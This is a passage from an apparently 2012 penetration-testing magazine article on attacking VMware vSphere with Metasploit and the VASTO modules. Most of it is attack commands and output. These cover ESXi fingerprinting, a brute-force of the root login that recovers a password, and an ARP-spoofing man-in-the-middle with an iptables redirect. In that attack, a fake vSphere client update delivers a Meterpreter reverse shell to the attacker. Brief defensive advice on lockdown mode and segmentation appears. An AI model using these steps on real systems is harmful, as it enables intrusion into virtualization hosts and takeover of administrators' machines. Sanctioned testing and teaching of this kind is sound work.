The rest of this article will look at how to exploit the vSphere environment using Metasploit as the framework. The July 2012 Pentest Magazine had an article titled “Working with Exploitation Frame-works Metasploit” in which it was mentioned that many pentesters do not take full advantage of the additional functionality of Metasploit. We will be us-ing auxiliary modules that were created and then added to the Metasploit framework along with ex-isting built in modules.
Some of the best modules in the industry used to directly attack a vSphere environment were cre-ated by Claudio Criscione and his team! Claudio’s research and development has been amazing,
providing us with simple to use exploits that help us to maximize our exploitation success. One of the auxiliary modules allows us to download vir-tual machines directly from an ESX 3.5 host with no credentials. My personal favorite is the exploit that allows you to steal the SOAP ID of an exist-ing vCenter 4.x administrator and then ride the ad-min’s session! No need for anything but access to vCenter!!
We will be using the auxiliary modules devel-oped by Claudio and his team called VASTO (Vir-tualization ASessment TOolkit). You can download it at http://vasto.nibblesec.org/. Once you have downloaded the auxiliary modules, you can copy the vasto folder to the auxiliary directory. Figure 8 shows the path in Backtrack4.
It is time to take a look at using the Metasploit Framework auxiliary modules to scan and exploit the vSphere environment.
All of the following demonstrations were provid-ed by a colleague of mine, Vincent Hautot. Vin-cent is a highly skilled Pentester and trainer with Sysdream (http://www.sysdream.com/) of Paris, France. Sysdream is the go-to organization for anything security in France! They are the found-ers of hackerzvoice (http://www.hackerzvoice.net/) and hacker’s night (http://www.nuitduhack.com/
en) which is an amazing conference that has con-tinued to grow each year! Thank you Vincent for your contribution to the article.
Figure 8. Metasploit Directory
Listing 1. VMware fingerprint scanner
msf auxiliary(esx_fingerprint) > info
Name: VMWare ESX/ESXi Fingerprint Scanner Module: auxiliary/scanner/vmware/esx_fingerprint Version: $Revision$
License: Metasploit Framework License (BSD) Rank: Normal
Provided by:
TheLightCosine <[email protected]>
Basic options:
Name Current Setting Required Description ---- ---- --- Proxies no Use a proxy chain
RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port
THREADS 1 yes The number of concurrent threads URI /sdk no The uri path to test against VHOST no HTTP server virtual host
The first two demonstrations from Vincent use modules provided in the Metasploit Framework 4.2. Make sure to update your framework with
svn up in order to verify that you have the correct modules.
Once Metasploit has all of the auxiliary modules in place, we can start to make use of them! The first of our demonstrations makes use of the vm-ware fingerprint module. Once you have launched Metasploit in the console interface, run the follow-ing command:
msf > use auxiliary/scanner/vmware/esx_fingerprint
We can see details about the module in Listing 1.
Description
This module accesses the web API interfaces for VMware ESX/ESXi servers and attempts to iden-tify version information for that server.
What is the purpose? This module is designed to help us find actual hosts on the network and identify the exact version and build. You can en-ter a range of IP Addresses or a single address. In our example, we are looking to fingerprint a spe-cific host which we have already scanned using NMAP.
Just like other modules, we need to set the re-mote host for the system we are fingerprinting.
When looking at the details above you will see there are three requirements: RHOSTS, RPORT and THREADS. Two of the three are already set with standard settings that will work in our environ-ment. Now, we simply set the RHOSTS and run the module:
msf auxiliary(esx_fingerprint) >
set RHOSTS 192.168.3.212 RHOSTS => 192.168.3.212
msf auxiliary(esx_fingerprint) > exploit
Listing 2. Metasploit bruteforce attackt
msf auxiliary(esx_fingerprint) > use auxiliary/scanner/vmware/vmauthd_login msf auxiliary(vmauthd_login) > info
Name: VMWare Authentication Daemon Login Scanner Module: auxiliary/scanner/vmware/vmauthd_login Version: $Revision$
License: Metasploit Framework License (BSD) Rank: Normal
Provided by:
TheLightCosine <[email protected]>
Basic options:
Name Current Setting Required Description ---- ---- ---
BLANK_PASSWORDS true no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 PASSWORD no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line RHOSTS yes The target address range or CIDR identifier RPORT 902 yes The target port
STOP_ON_SUCCESS false yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads
USERNAME no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS true no Try the username as the password for all users USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
TOOLS
The results below have identified the host correct-ly and now we know exactcorrect-ly what we are attacking!
[+] [2012.08.14-10:16:47] Identified VMware ESXi 5.0.0 build-623860
[*] [2012.08.14-10:16:47] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed msf auxiliary(esx_fingerprint) >
This module utilizes TCP port 443 and if you read the source of this module located at:
$METASPLOIT _ HOME/modules/auxiliary/scanner /vmware/esx _ fingerprint.rb you can find the as-sociation of the sdk path to the https connection.
The public method is available with the wsdl file which is shown in Figure 9.
Now that we have identified the host and ver-sion, we can look at possible means of exploita-Listing 3. Bruteforce results
msf auxiliary(vmauthd_login) > exploit
[*] [2012.08.14-10:31:39] 192.168.3.212:902 Banner: 220 VMware Authentication Daemon Version 1.10: SSL Required, ServerDaemonProtocol:SOAP, MKSDisplayProtocol:VNC , VMXARGS supported
[*] [2012.08.14-10:31:39] 192.168.3.212:902 Switching to SSL connection...
[-] [2012.08.14-10:31:42] 192.168.3.212:902 vmauthd login FAILED - root:root [-] [2012.08.14-10:31:43] 192.168.3.212:902 vmauthd login FAILED - root:123456 [-] [2012.08.14-10:31:45] 192.168.3.212:902 vmauthd login FAILED - root:12345 [-] [2012.08.14-10:31:48] 192.168.3.212:902 vmauthd login FAILED - root:123456789 [+] [2012.08.14-10:31:48] 192.168.3.212:902 vmauthd login SUCCESS – root:password
Listing 4: Metasploit VILurker attack
msf auxiliary(vmware_vilurker) > info
Name: vasto: VIlurker VIclient attack Module: auxiliary/virt/vmware_vilurker Version: 0.9
License: GNU Public License v2.0 Rank: Normal
Provided by:
Claudio Criscione
Basic options:
Name Current Setting Required Description ---- ---- ---
LHOST no The local IP address to listen to.
LPORT no The local port.
PAYLOAD windows/meterpreter/bind_tcp yes The payload to run against the client.
RHOST 192.168.130.95 no The remote host.
RPORT no The remote port.
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 443 yes The local port to listen on.
SSL true yes Use SSL
SSLCert no Path to a custom SSL certificate (default is
randomly generated)
SSLVersion SSL3 no Specify the version of SSL that should be
used (accepted: SSL2, SSL3, TLS1)
tion. There are many options; however we are go-ing to stick with the tried and true method of usgo-ing Metasploit to Bruteforce the ESXi login!
Metasploit has provided a module to bruteforce the local account. This module will use a diction-ary attack and you will need a dictiondiction-ary file. The file can be your own or you can use the built-in file from Metasploit found at $METASPLOIT_HOME/
data/wordlist/. Let’s get this show on the road:
Listing 2.
Description
This module will test vmauthd logins on a range of machines and report successful logins.
References
http://cve.mitre.org/cgi-bin/cvename.cgi?name
=1999-0502.
There are six settings required to setup the brute-force attack, and a few others that we may need to change. Vincent has started at the top and ver-ified all of the settings. The first change needed is the use of blank passwords:
msf auxiliary(vmauthd_login) >
set BLANK_PASSWORDS false BLANK_PASSWORDS => false
So why not check for blank passwords? Look-ing at the version from the fLook-ingerprint module, we see this is version 5 of ESXi. In version 5, you
Listing 5. VILurker settings
msf auxiliary(vmware_vilurker) > set LHOST 192.168.130.151
LHOST => 192.168.130.151
msf auxiliary(vmware_vilurker) > set LPORT 4444
msf auxiliary(vmware_vilurker) > set LPORT 6567
LPORT => 6567
msf auxiliary(vmware_vilurker) > set PAYLOAD windows/meterpreter/reverse_
tcp
PAYLOAD => windows/meterpreter/reverse_tcp
Listing 6. VILurker is now waiting
msf auxiliary(vmware_vilurker) > set RPORT 6565
RPORT => 6565
msf auxiliary(vmware_vilurker) > exploit [*] Auxiliary module execution completed
[*] [2012.08.14-15:49:58] Server started.
msf auxiliary(vmware_vilurker) >
Listing 7. VILurker introduces compromised update
[*] [2012.08.14-15:50:09] VIlurker - 192.168.130.95 is asking
for clients.xml. Triggering VIlurker
[*] [2012.08.14-15:50:09] answering HTTP/1.1 200 Ok
Host: 192.168.130.151 Content-Type: text/xml Content-Length: 266 Connection: Close
<ConfigRoot>
<clientConnection id=”0000”>
<authdPort>902</authdPort>
<version>10</version>
<patchVersion>10.0.0</patchVersion>
<apiVersion>10.0.0</apiVersion>
<downloadUrl>https://*/client/VMware-viclient.
exe</downloadUrl>
</clientConnection>
</ConfigRoot>
Figure 11. DCUI Lockdown Mode Figure 10. Lockdown Mode
TOOLS
are required to enter a password during the stall process so the chance that you will run in-to a blank password is very low. If this had been ESXi 4.1 where no password is required during the install process, we would need to check for blank passwords. The bruteforce speed is the next required option and the default setting is the fastest possible at 5. This setting is fine for our demonstration but it may need to be adjusted in some environments. As expected, we need to set the RHOSTS:
msf auxiliary(vmauthd_login) >
set RHOSTS 192.168.2.212 RHOSTS => 192.168.2.212
All that is left for us is to identify the username that we will be attacking. We will let Metasploit use its own password list:
msf auxiliary(vmauthd_login) > set USERNAME root USERNAME => root
Listing 8. vSphere Client Update being sent
[*] [2012.08.14-15:50:11] VIlurker - Bingo 192.168.130.95 is asking for the update. Creating the exploit
[*] [2012.08.14-15:50:11] VIlurker - Creating payload...
[*] [2012.08.14-15:50:11] Executing /opt/metasploit/msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.130.151 LPORT=6567 X > /root/.msf4/modules/auxiliary/vasto/data/
lurker.exe
Created by msfpayload (http://www.metasploit.com).
Payload: windows/meterpreter/reverse_tcp Length: 290
Options: {“LHOST”=>”192.168.130.151”, “LPORT”=>”6567”}
[*] [2012.08.14-15:50:19] 192.168.130.95 uploading exploit
[*] [2012.08.14-15:50:19] VIlurker - Saving session information on the DB
Listing 9. Meterpreter Handler
msf auxiliary(vmware_vilurker) > use exploit/multi/handler
PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(handler) > set LPORT 6567 LPORT => 6567
msf exploit(handler) > set LHOST 192.168.130.151 LHOST => 192.168.130.151
msf exploit(handler) > exploit
Listing 10. Meterpreter running, game over
meterpreter > ifconfig
Interface 65539
============
Name : Carte AMD PCNET Family Ethernet PCI #2 - Miniport d’ordonnancement de paquets Hardware MAC : 08:00:27:9f:93:20
MTU : 1500
IPv4 Address : 192.168.130.95 IPv4 Netmask : 255.255.255.0
Now let’s run this baby and see what we can find!
(Listing 3).
We have found valid username and password.
We should apply a correct password policy.
Just as you may expect, Metasploit makes this too easy for us! This is what it is all about, mak-ing our job easier. We simply want to test the en-vironment. Remember, a properly configured sys-tem would not allow this attack to occur. For one, it should be segmented although even if Vincent was part of the management network he would not be able to perform this attack if the Lockdown mode was enabled on each host!
You may be asking “What about this lockdown mode?” Once your host is joined to vCenter you can enable lockdown mode which prevents new login sessions from occurring on the host. Thus, we could not even attempt this attack because no new session is allowed. You can enable lockdown mode on the configuration tab of the host in vCen-ter. The exact location is Configuration>Security Profile>Lockdown Mode>Edit.
If you are concerned about having issues due to vCenter losing connection to the host, there is no need. You can enable/disable Lockdown Mode from the DCUI as well as within vCenter (Figure 11). Cool – now we own your box since lockdown mode is turned off! We will move on and look at one of the many modules provided to you in VASTO.
Vincent has chosen to attack the vSphere ad-ministrator directly by using a MiTM attack that circumvents the standard communication with the
vSphere Client. In this demonstration we will be using the VASTO auxiliary module called viluker.
The reason this attack will work is due to the com-munication process from the vSphere client to the vCenter or Host. The vSphere Client will ask for the host or vCenter “What is the latest version of the vSphere Client?” If a newer version of the client software is available, the client will be told where to download it and can update on the fly.
Here are the IP addresses for the attack demon-strated below:
Attacker IP: 192.168.130.151 Victim IP: 192.168.130.95 ESXi IP: 192.168.130.13
Because this is a MiTM attack we must intercept the traffic between the victim and the ESXi host.
We will use arpspoof:
[root@fedora metasploit]# arpspoof -i p4p1 -t 192.168.130.95 192.168.130.13
We also have to redirect the network connection to the attacker process with the following iptables command:
[root@fedora metasploit]# iptables -t nat -A PREROUTING -d 192.168.130.13 -p tcp --dport 443 -j DNAT --to-destination 192.168.130.151:443
Now that we are intercepting and routing the traf-fic properly, we can run the vilurker exploit
(List-ing 4).
Description
This module performs the VIlurker attack against a Virtual Infrastructure or VSphere client. The VI client will be tricked into downloading a fake update which will be run under the user’s credentials.
Did you notice the pay-load? Yes, we are uti-lizing the famous Me-terpreter to take advan-tage of the Windows OS.
There are a few settings we need to establish be-fore launching the exploit (Listinfg 5).
We chose to use reverse Figure 12. Victim chooses to install the update
TOOLS
TCP rather than the bind method. With the reverse TCP method, we are telling the victim to connect to the attacker rather than just leaving a port open for the attacker to connect to the victim (Listing 6).
Now that all of the settings are established and we have the exploit running, we sit and wait for the administrator to connect! That is easy!
Below you will see that a connection has been established and the vSphere client is asking for the clients.xml file. The auxiliary module providing this on our behalf! (Listing 7).
Next, the victim will say “yes” to updating the vSphere client and the attacker will see the follow-ing: Listing 8.
At this time, the attacker will need to configure the handler to accept the connection from the vic-tim: Listing 9.
At this point in the exploit, the attacker has suc-cessfully established a MiTM attack and convinced the vSphere Administrator that there is an update for the vSphere Client. After saying yes to an up-date, the package is sent and now the victim must choose to install the update. Updates are always great and needed by all administrators! Figure 12 is what the victim will see at this stage.
The victim will install the update which is actually the Meterpreter module. Once the update is fin-ished, the administrator will continue with his work, connect to the vCenter, and probably not notice anything out of the ordinary. As the attacker, we will see the following:
[*] [2012.08.14-15:51:59] Sending stage (752128 bytes) to 192.168.130.95
[*] Meterpreter session 1 opened (192.168.130.151:
6567 -> 192.168.130.95:2980) at 2012-08-14 15:52:01 +0200
We can now run any command we like because we own the box: Listing 10.
This, of course, is just one example out of ma-ny when testing the security posture of the virtual environment. When looking at methods to prevent this type of attack you would normally consider how administrators connect to the virtual infrastructure, what path is being used and what other devices are on the same network. If you cannot provide the level of segmentation required to secure the inter-nal network, as administrators you must at least be mindful of any updates you have applied to vCen-ter or the host. Any updates from VMware will pro-vide documentation regarding what is updated and the vSphere client would be listed. If there has not been any update to the vSphere client, you should never receive the upgrade notice.
DUANE ANDERSON
Duane Anderson ([email protected]) is a con-sultant, trainer and courseware developer for VMTrain-ing, specializing in cloud and virtualization technolo-gies.
This article provides just enough information to get you started. Take the time to look over the oth-er exploits developed to attack vSphoth-ere. If you de-velop some on your own, please share them with the rest of the world so we can all create a more secure future! We have only demonstrated some of the attacks available when using Metasploit, however there are many other tools available to us when working in this environment. NMAP has a complete set of testing requirements to identi-fy vCenter or ESXi and ESX. We also make use of Cain and Abel and many other scanning tools on the market for verification purposes. One thing we all need to remember is chained exploits! In to-day’s environments, the one and done hacks no longer work and we need to chain together mul-tiple hacks to get what we are after. Hacking the virtual environment is no different.
VMtraining and Sysdream (Duane and Vincent) would like to thank you for taking the time to learn a little bit more about security in the virtual envi-ronment. There is so much more we would like to share with you, but that would require Vincent and I to write an entire book. I am not sure either of us has the time. However you can attend one of our 5 day classes offered at Sysdream or anywhere in the globe you can find the VMTraining classes. We look forward to meeting you one day.